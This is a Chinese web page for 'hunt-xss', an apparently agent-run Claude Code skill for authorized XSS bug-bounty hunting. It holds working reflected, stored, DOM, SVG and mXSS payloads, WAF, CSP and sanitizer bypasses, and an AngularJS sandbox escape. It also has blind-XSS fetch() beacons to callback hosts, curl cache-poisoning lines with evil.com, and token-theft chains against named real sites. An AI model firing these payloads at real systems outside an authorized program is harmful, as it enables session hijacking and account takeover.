mcpField
H
hunt-xss

hunt-xss

github.com/elementalsouls安全5.3k311 次安装今天更新
代码仓库

关于 hunt-xss

hunt-xss 是面向安全研究人员的 XSS 测试技能,涵盖反射型、存储型和 DOM 型问题。它强调验证实际执行,并排除编码或自然回显造成的误报。

主要功能

  1. 01反射点与上下文分类
  2. 02使用唯一标记验证证据
  3. 03存储型与盲 XSS 验证
  4. 04攻击面识别指引
  5. 05载荷与源码检索模式

适用场景

  1. 01检查反射输入是否存在不安全输出
  2. 02测试共享内容中的存储载荷
  3. 03通过带外回连验证盲 XSS

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-xss

安装后在 Claude Code 中输入/hunt-xss确认已加载。

详细介绍

自动化测试优先事项

声称存在 XSS 前,先验证反射结果——编码决定一切。

你的载荷必须以未转义的尖括号出现在响应正文中。<script> 是 XSS。&lt;script&gt; 是安全编码,不存在漏洞。

在证明载荷中使用唯一的数字金丝雀,例如 <script>alert(91234)</script> 或 "><img src=x onerror=alert(91234)>。选择一个独特的 4 位以上数字,不要用 alert(1)。练习页面的提示文本里满是 alert(1)/alert('XSS') 之类的示例载荷;使用唯一数字,才能区分你反射的载荷和页面上的诱饵示例。证明 = 你的 alert(<canary>) 以原始、未转义的尖括号出现在响应中。

按以下顺序尝试这些上下文:

  1. 内联脚本注入(HTML 上下文允许新标签时有效):

    <script>alert(CANARY)</script>
    

    使用证明约定指定的任意金丝雀字符串。当 <script>alert(CANARY) 在响应中原样出现(未进行 HTML 编码)时,即可确认。

  2. 属性事件注入(< 被过滤,但属性可注入时):

    " onmouseover="alert(CANARY)
    " onerror="alert(CANARY)
    " onload="alert(CANARY)
    
  3. URL/href 上下文:

    javascript:alert(CANARY)
    

区分成功与失败:

  • **存在漏洞:**响应中包含未转义的 <script>alert(——浏览器会执行它
  • **已过滤/安全:**响应中包含 &lt;script&gt; 或 &#x3C;script&#x3E;——已正确编码
  • **已阻止:**响应是错误,或反射值完全不存在

**对于存储型 XSS:**将载荷注入其他页面会显示的字段(评论、用户名、工单标题)。然后获取呈现该内容的页面,检查是否存在未转义的载荷。任何用户查看该页面时都会执行载荷——严重程度高于反射型。


核心目标

当 XSS 同时具备特权上下文 + 持久化投递 + 范围扩大时,价值很高。最高额的赏金来自:

  • 管理面板和已认证的仪表板(例如,*/admin、*/settings)——攻击者可以劫持具有更高权限的会话、窃取令牌,或进一步实施账户接管
  • 支付/金融流程(paypal.com、结账页面、货币转换器)——此处的 XSS 可用于大规模窃取凭据和实施金融欺诈
  • 协作功能中的存储型 XSS(Wiki、Markdown 渲染器、问题跟踪器、RDoc、标签)——一个载荷就能感染每位查看者,放大影响
  • SSO/登录页面(例如,paypal.com/signin)——此处的 XSS 影响严重,因为它可以窃取整个平台上的身份验证令牌
  • 共享的 SaaS 租户界面(*.myshopify.com、api.collabs.*)——一个租户上下文中的 XSS 可能会越过租户边界造成影响
  • 帮助/文档网站(help.shopify.com)——单独来看严重程度较低,但通常消毒限制较宽松,用户也更容易信任这些网站
  • SVG/文件上传端点——经常能同时绕过 CSP 和消毒机制

**收益最高的资产类型:**主要产品域名 > 管理子域名 > API 端点 > 营销/帮助网站


带外确认门槛(盲测/存储型 XSS)

对于盲测和存储型 XSS,必须通过带外确认才能提出相关声明,要求与盲测 SSRF 相同。当载荷确实在某处的浏览器中执行时(例如,管理员查看日志、SOC 分析师打开工单,或邮件呈现存储的载荷),带外接收端会触发。

什么不算确认
  • ASP.NET 请求验证器拒绝了你的 < 并返回不同的状态码 → 不是 XSS,这是 WAF 噪声。
  • 你的载荷以 URL 编码或 HTML 编码的形式出现在响应正文中 → 不是 XSS,这是正确的输出编码。
  • 表单的 action 属性中包含你的载荷字符串,如 %22onclick%3D… → 不是 XSS,浏览器不会解码 HTML 属性值中的 URL 编码;DOM 中的 %22 会保留为字面量 %22。
  • 响应中的 <script> 标签显示为 &lt;script&gt; → 不是 XSS,这是转义处理。
什么算确认
  • 在你的有效载荷被存储/反射/排队后,发往你专属 Collaborator 子域名(例如 bxss-err-<random>.<collab>.oastify.com)的请求会到达 OOB 监听器。
  • 对于存储型 XSS:当管理员查看受影响的资源时,请求可能会在数小时或数天后到达。请在测试初期植入有效载荷,并保持监听器开启。
  • 触发请求的 User-Agent 是浏览器(Mozilla/Chrome),而不是服务器自己的后端 HTTP 客户端。
在哪里植入盲 XSS 信标

任何可能稍后在管理界面/日志查看器/电子邮件/报告中显示其值的字段:

  • 错误消息(?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>)
  • 身份验证流程的来源参数(?Source=、?ReturnUrl=)
  • 登录表单的用户名字段(管理员可能会查看失败登录的审计日志)
  • User-Agent 标头(某些 SOC 控制台会将 UA 渲染为 HTML)
  • Referer 标头(某些分析仪表板会将 Referer 渲染为 HTML)
  • 注册/联系表单中的电子邮件地址
  • 文件上传文件名

始终按接收点为 Collaborator 子域名添加子标签,以便通过回调识别是哪个字段触发的。

**一次获授权测试中的经验:**在 ErrorMessage、Source、Authentication.asmx 用户名字段、User-Agent 标头、Referer 标头和请求路径中植入了 10 个盲 XSS Collaborator 信标。在 10 分钟的轮询窗口内,没有收到任何回调。结论:SharePoint SOC 使用的日志/错误查看工具不会渲染 HTML,并且 ASP.NET 请求验证器会在有效载荷到达存储之前阻止查询字符串中的 <。因此,正确撤回了存储型 XSS 的说法。


攻击面信号

URL 模式:

/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*

响应标头(防御薄弱的信号):

Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0

源码中表明存在 DOM XSS 的 JS 模式:

document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location

技术栈信号:

  • 使用 html_safe、raw、translate、Action Text 或 ActionView 清理辅助方法的 Rails 应用
  • GitLab/GitHub Markdown 处理流水线(Banzai、Kramdown、RDoc、Kroki)
  • 允许上传或渲染 SVG 的应用
  • 允许列表中包含 style 标签的网站
  • Kroki/Mermaid/PlantUML 图表渲染端点
  • 位于已验证身份页面前的缓存层(缓存投毒攻击向量)

分步狩猎方法

  1. 梳理所有反射点 — 爬取目标并找出用户输入出现在 HTML 输出中的所有位置。优先检查:URL 参数、表单字段、HTTP 标头(User-Agent、Referer)、文件上传名称/内容,以及在 UI 中呈现的 API 响应字段。

  2. 按类型分类 — 确定每个反射属于反射型(URL 参数 → 响应)、存储型(数据库 → 后续呈现)还是 DOM 型(JS 读取 URL/存储 → DOM 接收点)。每种类型都需要不同的载荷投递方式。

  3. 探测清理器行为 — 先发送无害的探测字符串:aaa"bbb'ccc<ddd,以确定哪些字符会被转义。观察输出处于 HTML 上下文、属性上下文、JS 上下文还是 URL 上下文。

    标记纪律: 选择探测字符串时,必须使用唯一的随机字母数字字符串(至少 8 个字符,不包含英文单词或协议关键字)。不好的标记:test、marker、evil、attacker、payload、javascript、script。好的标记:cpmark987abc、x4hd2k9pq、__ZZ_MARKER_<random>_ZZ__。在声称存在反射之前,先在基线(不含标记)响应中搜索该标记——如果它自然出现在页面中(例如,每个页面的帮助链接 href 中都包含 javascript 一词),这就是会导致误报的陷阱,你需要换用其他标记。仅这一项检查就能发现 80% 的反射误报。

  4. 测试允许列表标签组合 — 如果使用了清理器,探测危险的标签组合:<math>+<style>、<svg>+<style>、<iframe srcdoc>,以及包含表达式的 <style>。

  5. 搜寻 SVG 和文件上传攻击向量 — 上传包含 <script> 标签的 SVG 文件。检查 Content-Type 响应标头。分别测试 CSP 是否适用于 SVG 响应。

  6. 测试 Markdown/文档渲染器 — 在 Wiki、README 或文档字段中,尝试:[text](javascript:alert(1))、内联 HTML 注入、Kroki/Mermaid 载荷,以及 RDoc link:javascript: 语法。

  7. 检查重定向参数 — 测试 ?redirect=javascript:alert(1) 和 ?return_url=//evil.com,查看是否能通过不当的重定向清理实现单击 XSS。

  8. 探测 UTM 和分析参数 — utm_source、utm_medium、utm_campaign 常会在营销页面上未经清理便被反射。

  9. 测试 CSP 绕过机会 — 如果存在 CSP,请寻找:允许域上的 JSONP 端点、style-src 中的 unsafe-inline、绕过 script-src 的 SVG,以及列入白名单的 CDN 上的脚本小工具。

  10. 尝试在个人资料/元数据字段中植入存储型 XSS — 用户名、简介、标签名称、标签颜色、组织名称等字段会在多种上下文中呈现,且验证通常较弱。

  11. 检查缓存投毒 — 测试反射型 XSS 载荷是否会被缓存并提供给其他用户(尤其是在由 CDN 提供服务的页面上),从而将反射型 XSS 转变为等同于存储型 XSS 的问题。

  12. 在目标浏览器中验证 — 报告前务必在真实浏览器中确认。许多载荷会在 Burp 中回显,却无法在真实浏览器中执行,原因可能是 CSP、输出编码、框架自动转义、上下文不匹配、WAF 规范化或浏览器 HTML 解析差异。(注意:Chrome 的 XSS Auditor 已于 Chrome 78 / 2019 年 10 月移除,目前没有任何正式发布的浏览器包含此功能——切勿将 PoC 执行失败归因于“XSS auditor”。)


载荷与检测模式

基础上下文探测:

aaa"bbb'ccc<ddd>eee`fff

反射型 XSS — URL 参数基线:

?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)

属性上下文转义:

" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)

基于 SVG(绕过 CSP):

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

绕过清理器 — math+style 组合:

<math><style><img src=x onerror=alert(1)></style></math>

绕过清理器 — svg+style 组合:

<svg><style><img src=x onerror=alert(1)></style></svg>

Markdown/RDoc javascript: 链接:

[Click me](javascript:alert(document.domain))

Kroki/图表注入:

```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml

**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'

源代码审查的 Grep 模式:

# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"

# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"

# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r

用于检测反射的 Curl:

curl -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"

缓存投毒测试:

# Send payload then fetch with clean session to see if cached
curl -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl -sk "https://target.com/page" | grep -i "evil.com"

常见根本原因

  1. 在 Rails 中信任 html_safe — 开发者在只进行部分净化后就将字符串标记为安全,或在未经全面净化的用户提供数据上调用 .html_safe。

  2. 包含危险标签组合的允许列表净化器 — 同时允许 style 与 math 或 svg,即使单个标签看似无害,也会带来 mXSS(变异 XSS)风险。

  3. 第三方渲染管道 — Markdown 转 HTML 的管道(Banzai、Kramdown、Kroki)会引入 XSS,尤其是在图表或渲染引擎未经过沙箱隔离,且输出未重新净化时。

  4. 未编码便反射 URL 参数 — UTM 参数、重定向 URL 和搜索词未经适当的 HTML 编码,便被反射到页面 HTML 或 JS 中;营销页或帮助页面尤其容易出现这种情况,因为它们常被视为安全性较低的页面。

  5. 将 SVG 视为非脚本内容 — 开发者会为 HTML 响应设置 CSP,却忘记 image/svg+xml 响应可以执行 JavaScript,而且通常不会受到相同 CSP 标头的约束。

  6. 净化器补丁不完整 — 经过 CVE 修复的净化器可能被细微变体绕过(例如,CVE-2022-32209 的不完整修复就表明,净化器逻辑很难编写正确,并会形成绕过链)。

  7. 未在 href/src 中屏蔽 javascript: 协议 — 链接渲染器(RDoc、Markdown)未能屏蔽 href 属性中的 javascript: URL,而是将其视为有效的外部链接。

  8. 缓存层存储经过身份验证的用户输入 — CDN 或反向代理缓存包含用户可控 XSS 载荷的响应,随后将这些响应提供给未通过身份验证的用户。

  9. 上传文件时未强制执行 Content-Type — 接受 SVG 或 HTML 文件,却未强制设置 Content-Disposition: attachment 或覆盖 Content-Type 就直接提供这些文件。

  10. 翻译辅助函数 XSS — Rails 的 translate/t() 辅助函数会将翻译字符串标记为 HTML 安全,并插入用户输入,从而允许通过区域设置键进行注入。


绕过技术

CSP 绕过:

  • 上传 SVG 可绕过 script-src,因为 image/svg+xml 响应可能不会继承页面的 CSP
  • 在加入白名单的域名上查找 JSONP 端点(*.googleapis.com、*.cloudflare.com)
  • 使用 <base> 标签注入重定向脚本来源
  • 利用 style-src 中的 unsafe-eval 或 unsafe-inline 执行基于 CSS 的攻击
  • 利用 <link rel=preload> 或 <meta http-equiv> 小工具绕过严格策略

净化器绕过:

  • mXSS(变异型 XSS): 注入经净化器解析时安全、但在浏览器重新解析时会发生变异的 HTML(例如,<math><style><img onerror=...>)
  • 标签组合攻击: <svg> + <style> 或 <math> + <style> 会造成解析歧义
  • 属性引号变体: 不加引号的 onmouseover=alert(1)、反引号分隔符
  • HTML 实体编码: 在 href 值中使用 &#106;avascript: 或 &#x6A;avascript:
  • 协议变体: javascript:、vbscript:、data:text/html

过滤器规避:


<ScRiPt>alert(1)</ScRiPt>

<scr\x00ipt>alert(1)</scr\x00ipt>

<svg/onload=alert(1)>

<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

WAF 绕过:

// Obfuscated payloads
<svg onload=eval(atob('YWxlcnQoMSk='))>
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

基于重定向的 XSS 绕过:

?next=javascript://%0aalert(1)
?next=javascript&colon;alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>

AngularJS 客户端模板注入(CSTI)与沙箱逃逸:

  • 检测: 页面使用 AngularJS(查找 ng-app/ng-controller 属性、angular.js/angular.min.js,或 {{ }} 插值)。使用 {{7*7}} 探测一个反射参数——如果渲染结果为 49(而不是原样文本),则说明该值会作为 Angular 表达式求值。始终驱动 browser 工具,让表达式实际执行。
  • 通过逃逸沙箱执行 JS(具体技术取决于 AngularJS 版本):
    • 常见方式:{{constructor.constructor('alert(1)')()}} 或 {{$eval.constructor('alert(1)')()}}。
    • 困难变体——$eval 不可用且不允许字符串字面量: 覆盖 String.prototype.charAt(这会禁用沙箱的逐字符字符串检查),然后使用 orderBy 过滤器和 String.fromCharCode 构造 JS,完全不使用引号。载荷结构(自行填入占位符):
      ?PARAM=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(CODES)=1
      
      • PARAM = 找到的反射参数。
      • CODES = 要运行的 JavaScript 的逗号分隔字符码——请自行计算(例如,将 x=alert(1) 的每个字符转换为其字符码)。toString() 会生成不带引号的字符串;[].join 会替换 charAt;orderBy 会调用过滤器;fromCharCode(CODES) 会根据字符码重建载荷。
  • 仅适用于 旧版 AngularJS(<1.6);现代框架(Angular 2+、React、Vue)不受影响。

Gate 0 验证

撰写报告前,请回答以下三个问题:

  1. 攻击者现在能做什么? 攻击者必须证明具体的操作:在目标域名的受害者浏览器会话中执行 JavaScript、窃取会话 Cookie/令牌、以受害者身份执行操作,或外泄敏感数据。“弹出警告框”并不足够——请说明该警告框代表何种访问能力(例如,“我可以读取 document.cookie,其中包含用于所有管理员 API 调用的身份验证令牌”)。

  2. 受害者会失去什么? 受害者必须确实失去某种东西:会话控制权(账户接管)、敏感数据(Cookie、CSRF 令牌、PII)、金钱(未经同意执行的财务操作)或信任(通过 DOM 操纵实施的凭据钓鱼)。如果受害者是访问公开页面且没有会话的未认证用户,请说明该用户的浏览器会暴露什么。

  3. 能否从零开始在 10 分钟内复现? 必须提供自包含的 PoC URL 或步骤序列,让任何审查者都能在无需预先设置的情况下复现。载荷必须能在当前版本的浏览器(最新 Chrome/Firefox)中触发,且无需特殊配置。如果只在过时的浏览器中有效,或要求受害者安装特定扩展,则很可能不会被接受。


真实影响案例

场景 1 — 登录页面通过缓存投毒实现存储型 XSS 攻击者发现,某大型支付平台的登录页面会反射用户可控的输入,并且该页面会被 CDN 层缓存。攻击者发送特制请求污染缓存,将反射型 XSS 转变为效果等同于存储型 XSS 的攻击,每位访问登录页面的用户都会触发该攻击。影响:大规模收集凭据——每位访问登录页面的用户,其凭据都会被窃取。由于绕过了 CSP,修复需要同时修改代码并清除缓存。

场景 2 — Wiki 中的图表渲染导致存储型 XSS 某开发者平台的 Wiki 功能集成了第三方图表渲染服务(Kroki)。攻击者构造恶意图表负载,渲染后便会在任何查看 Wiki 页面的用户上下文中执行任意 JavaScript。由于 Wiki 由团队成员共享,其中包括项目所有者和管理员,因此该负载可以在不被察觉的情况下窃取 OAuth 令牌,并代表每位查看者执行管理操作——仅凭一个存储型负载,就能接管整个组织的账户。

场景 3 — 通过标签颜色字段绕过净化器并绕过 CSP 某项目管理平台修复了标签颜色字段中的 XSS 漏洞,但修复并不完整。一位研究人员发现,将 style 标签允许列表与特定标签嵌套方式(svg>style)结合后,净化器的输出会在浏览器解析时发生变化,从而执行注入的 JavaScript。由于注入发生在允许列表中的内联样式上下文中,该负载还绕过了平台的内容安全策略。影响:任何拥有创建标签权限的用户(通常包括所有项目成员)都可以注入持久型 XSS,在每位项目访问者浏览时触发,从而在同一项目命名空间内窃取其他用户的会话。


攻击链与组合(资深漏洞挖掘)

在成熟的漏洞赏金项目中,单独报告 XSS 通常只能获得低至中等等级的奖励。真正高额的奖励往往来自攻击链:将 JS 执行转化为账户接管、大规模受害者影响、绕过 CSP 或窃取令牌。组合利用的关键在于:“我的 XSS 执行后还能解锁什么?”答案总是超出 alert(1)。

攻击链 1 — 反射型 XSS + 缓存投毒 → CDN 规模的持久存储型 XSS(Kettle 级别)
  • A. 找出一个反射型 XSS 漏洞:易受攻击的输入会进入响应正文,且响应可被缓存(Cache-Control: public, max-age=…)。
  • B. 找出一个会影响缓存正文但未纳入缓存键的输入——通常是 X-Forwarded-Host、X-Original-URL、未纳入缓存键的 Cookie,或从缓存键中剔除但会反射到正文中的参数。
  • C. 通过未纳入缓存键的输入发送一条包含 XSS 负载的请求。缓存会存储被污染的响应。此后每位访问该 CDN 边缘节点的用户,在整个 TTL 期间都会收到该响应。
  • 影响: 原本仅影响攻击者自身的反射型 XSS 会转变为持久型存储型 XSS,影响受影响地区内的每位访问者,直至缓存过期。无需与每位受害者单独交互。
  • 实际案例: Glassdoor 通过缓存投毒将反射型 XSS 转变为存储型 XSS,H1 #1424094(2021-2022);Kettle 的“实用 Web 缓存投毒”研究。交叉引用 hunt-cache-poison 已披露报告引用 #4。
Chain 2 — Self-XSS + CSRF 触发 → 有效存储型 XSS → ATO
  • A. 确认个人资料字段(bio、display_name、signature)存在 Self-XSS —— 只有同一位已登录用户查看自己的个人资料时,载荷才会执行。
  • B. 找到一个存在 CSRF 漏洞、可修改该字段的端点(没有防 CSRF 令牌,或可通过 text/plain enctype 绕过)。
  • C. 构造攻击者托管的页面,提交 CSRF 表单,将 bio 设为 XSS 载荷。受害者访问攻击者页面 → 触发 CSRF → 更新受害者的个人资料 → 受害者下次访问自己的个人资料时,攻击者的 JS 就会执行。
  • 影响: 原本“没什么实际危害”的 Self-XSS 会变成 ATO。载荷在受害者的已认证会话中运行 —— 提取 Cookie、通过 XHR 强制更改邮箱、重置密码 → 完全接管账户。
  • 真实案例形式: 2019-2023 年,多个社交平台披露了 H1 漏洞。交叉参考 hunt-csrf 第 7 步(基于表单的个人资料修改 CSRF)。
Chain 3 — /signin 或 /oauth 回调处的 DOM XSS → 捕获 Fragment Token → ATO
  • A. 在 /signin、/oauth/callback 或 /auth/return 页面中查找 DOM XSS —— 通常是未经转义就将 document.location.hash 解析到 DOM 中。
  • B. OAuth 隐式流程回调经常会将令牌放在 URL 片段中(#access_token=...)。片段不会发送到服务器,只有浏览器能看到。
  • C. XSS 载荷读取 document.location.hash,对其进行 Base64 编码,然后通过 Image() 外带到攻击者域名。攻击者现在就持有 OAuth 访问令牌。
  • 影响: 跨平台 ATO。访问令牌通常会授予 Facebook/Google/Microsoft 用户数据的 API 范围;某些实现会直接将该令牌用作会话。
  • 真实案例形式: Detectify 的“Dirty Dancing”多厂商 OAuth 令牌泄漏(F. Rosén,2022);Zoom OAuth 链式 ATO,奖金 $15,000(H1 / Harel Security,2024)。交叉参考 hunt-oauth 已披露报告引用 #19 和 #20。
Chain 4 — SVG 上传 XSS + CSP 绕过 → 在受信任源上执行 JS → 窃取 Cookie/令牌
  • A. 找出接受 image/svg+xml 的文件上传功能。SVG 文件属于 XML,可以包含 <script> 标签 —— 许多清理器会处理 PNG/JPG,却原样放行 SVG。
  • B. CSP 通常适用于 HTML 响应,但不适用于 image/svg+xml 响应。SVG 会在提供它的源的上下文中执行 JS。
  • C. 如果 SVG 由同源提供(例如上传到 target.com/uploads/<sha>.svg,这是常见情况),执行的 JS 就能完全访问会话 Cookie,并调用任何同源 API。
  • 影响: 无需借助任何反射型/存储型内容途径,即可在受信任源上实现存储型 XSS —— 完全绕过 CSP;获取会话 Cookie、调用密码修改端点、ATO。
  • 真实案例形式: 多个 SaaS 上传器均有披露案例;交叉参考 hunt-file-upload 中的 SVG 部分,以及 hunt-xxe 已披露报告引用 #3 和 #4(Zivver/Lab45 SVG 上传链)。
Chain 5 — postMessage XSS + Origin 检查绕过 → 跨源外带令牌 → ATO
  • A. 找出一个 window.addEventListener('message', handler),其中的 handler 不检查 event.origin(或使用 indexOf/endsWith 检查,但对 target.com.attacker.com 无效)。
  • B. 攻击者页面在弹出窗口或 iframe 中打开 target.com。页面加载后,发送一条 postMessage 载荷,供处理程序 eval、作为 XSS 处理,或用于提取 document.cookie。
  • C. 处理程序在 target.com 的上下文中执行;随后通过 event.source.postMessage(stolenData, '*') 将响应 postMessage 回攻击者页面。
  • 影响: 无需触发 CSP 违规即可实现跨源 JS 执行和数据外带 —— postMessage 是合法的跨源通道,CSP 不会对其进行限制。窃取令牌 / 劫持会话。
  • 真实案例形式: Detectify 的“Dirty Dancing”多厂商 postMessage gadget(2022);Zoom OAuth + postMessage 链(2024)。交叉参考 hunt-oauth 已披露报告引用 #19、#20。
链 6 — Markdown/Wiki XSS + 特权查看者 → 跨权限存储型 XSS
  • A. 协作内容字段中存在存储型 XSS(Wiki 页面、问题评论、客户工单、支持回复)——由于对 <style>、<math>、<svg> 或属性过滤器的允许列表不足,载荷在 Markdown 渲染后仍会保留。
  • B. 特权用户(管理员、拥有更高权限的支持 Agent、项目维护者)查看协作内容。
  • C. 特权查看者的会话在其已认证的上下文中执行载荷——向仅限管理员访问的端点发送 XHR、提升攻击者的角色、从仅限管理员访问的面板窃取机密。
  • 影响: 攻击者通过存储型 XSS 从低权限用户提升为管理员——攻击者借助特权用户的身份提升自己的权限。
  • 典型案例: GitLab/Jira/Confluence 的 Markdown-XSS 到管理员权限提升这一类漏洞;常见的漏洞赏金定级为 High(相较于单独的存储型 XSS,权限提升会提高严重性)。
操作层面的模式

确认 A 处存在 XSS 后,立即询问:这段 JS 现在可以访问哪些状态变更端点或令牌存储?载荷在哪里运行,谁会看到它? 组合攻击的赏金是单独 XSS 的 5–20 倍。提交前的纪律要求:如果没有证明最终影响(ATO / 令牌窃取 / 权限提升),不要将 XSS 报告为“Critical”;否则应报告为 Medium。

交叉引用:

  • hunt-cache-poison — 链 1
  • hunt-csrf — 链 2
  • hunt-oauth — 链 3、5
  • hunt-file-upload / hunt-xxe — 链 4
  • hunt-ato — 链 2、3、4、5 的最终影响

相关技能与攻击链

  • hunt-cache-poison — 当易受攻击的参数未纳入缓存键时,反射型 XSS 会在 CDN 范围内变成与存储型 XSS 等效的攻击。攻击链原语:X-Forwarded-Host: attacker.com 污染缓存响应,使其中的 <script src=...> 指向 attacker.com → 每位 CDN 边缘节点的访客都会执行攻击者的 JS,无需与任何特定受害者交互。
  • hunt-csrf — 源站上的 XSS 会自动绕过 SameSite=Lax 和针对状态变更端点的同源检查。攻击链原语:个人资料简介中的存储型 XSS → fetch(/settings/email, {method:'POST', body:'email=attacker@evil'}) 会携带受害者的 Cookie 并以其源站身份执行 → 悄无声息地接管邮箱 → 重置密码 → 完全接管账户(ATO),受害者甚至无需离开页面。
  • hunt-http-smuggling — 请求走私会将 XSS 载荷送入下一位受害者请求的响应队列,即使目标端点会清理自身输入也不例外。攻击链原语:走私一个请求,其响应(携带攻击者的 HTML)会被作为下一位合法用户 GET / 请求的响应正文 → 每位访客都会遭遇反射型 XSS,地址栏中看不到任何 URL 参数。
  • security-arsenal — 手工编写载荷前,先查阅 XSS 载荷库(SVG+style、math+style mXSS、CSP 绕过 JSONP gadget、WAF 会漏掉的 HTML5 事件处理器);同时查阅始终拒绝列表,确认自我 XSS / 仅触发 alert 的 PoC 不可提交。
  • triage-validation — 对只在攻击者自己的会话中触发的存储型 XSS,或响应正文中显示的金丝雀经过 HTML 编码(&lt;)的反射型 XSS,在声称为 Critical 前运行 Pre-Severity Gate;这两种情况是最常见的降级为 N/A 陷阱。

评论

支持 Markdown